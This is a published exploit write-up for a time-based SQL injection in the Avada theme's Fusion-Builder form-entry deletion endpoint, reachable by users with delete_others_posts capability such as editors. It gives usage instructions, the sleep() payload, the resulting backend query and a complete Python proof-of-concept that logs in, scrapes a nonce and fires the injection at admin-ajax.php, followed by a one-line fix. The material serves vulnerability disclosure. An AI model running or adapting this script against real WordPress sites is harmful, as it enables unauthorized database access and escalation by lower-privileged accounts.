Exploit Author: Muhammad Zeeshan (Xib3rR4dAr)
Avada includes Fusion-Builder plugin, Form entry deletion endpoint was found vulnerable to SQL Injection. Any user having delete_others_posts
capability can exploit it. By default Super Admins, Admins, and editors have this capability. Editor users have less privileges that admins, but exploiting SQL Injection, editors or any user having required capaility can exploit SQL Injection for further attacks.
Usage:
python3 avada_sqli_poc.py WORDPRESS_URL USERNAME PASSWORD SLEEPTIME
e.g
python3 avada_sqli_poc.py http://127.0.0.1 editor editor 10
SQL Injection Payload (select*from(select(sleep(10)))asdf)
is used which wont delete any entry. Backend query would become:
SELECT * FROM `wp_fusion_form_submissions` WHERE id = (select*from(select(sleep(10)))asdf)
avada_sqli_poc.py:
import sys
import requests
from bs4 import BeautifulSoup
import re
import urllib3
import time
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
wordpress_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
sleep_time = sys.argv[4]
payload = f"(select*from(select(sleep({sleep_time})))asdf)"
proxyDict = {}
# Uncomment to use proxy
# proxyDict = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
session = requests.Session()
login_url = f"{wordpress_url}/wp-login.php"
# Login to WordPress
login_payload = {
"log": username,
"pwd": password,
"wp-submit": "Log In",
}
login_response = session.post(
login_url, data=login_payload, proxies=proxyDict, verify=False
)
# Check if login was successful
if "wp-admin" in login_response.url:
print("Login successful")
else:
print("Login failed")
exit()
# URL to get the nonce from
forms_url = f"{wordpress_url}/wp-admin/admin.php?page=avada-forms"
form_response = session.get(forms_url, proxies=proxyDict, verify=False)
# Extract fusion_entry_nonce from the response
soup = BeautifulSoup(form_response.text, "html.parser")
script_content = soup.find("script", {"id": "fusion_form_admin_js-js-extra"}).text
fusion_entry_nonce_match = re.search(
r'"fusion_entry_nonce":"([a-f0-9]+)"', script_content
)
if fusion_entry_nonce_match:
fusion_entry_nonce = fusion_entry_nonce_match.group(1)
print(f"fusion_entry_nonce: {fusion_entry_nonce}")
else:
print("fusion_entry_nonce not found")
exit()
# URL for the POST request to remove an entry
remove_entry_url = f"{wordpress_url}/wp-admin/admin-ajax.php"
remove_entry_payload = {
"action": "fusion_remove_form_entry",
"fusion_entry_nonce": fusion_entry_nonce,
"entry": payload,
}
start_time = time.time()
# Send POST request to remove form entry
remove_entry_response = session.post(
remove_entry_url, data=remove_entry_payload, proxies=proxyDict, verify=False
)
end_time = time.time()
print(f"Remove Entry Response: {remove_entry_response.text}")
# Print the time taken
time_taken = end_time - start_time
print(f"Time taken for SQL Injection request's response: {time_taken} seconds")
Endpoint: WordPress' ajax e.g /wp-admin/admin-ajax.php
Request Parameter: action
is fusion_remove_form_entry
AND entry
is not an integer.
Cast parameter entry
to int before passing to backend SQL query.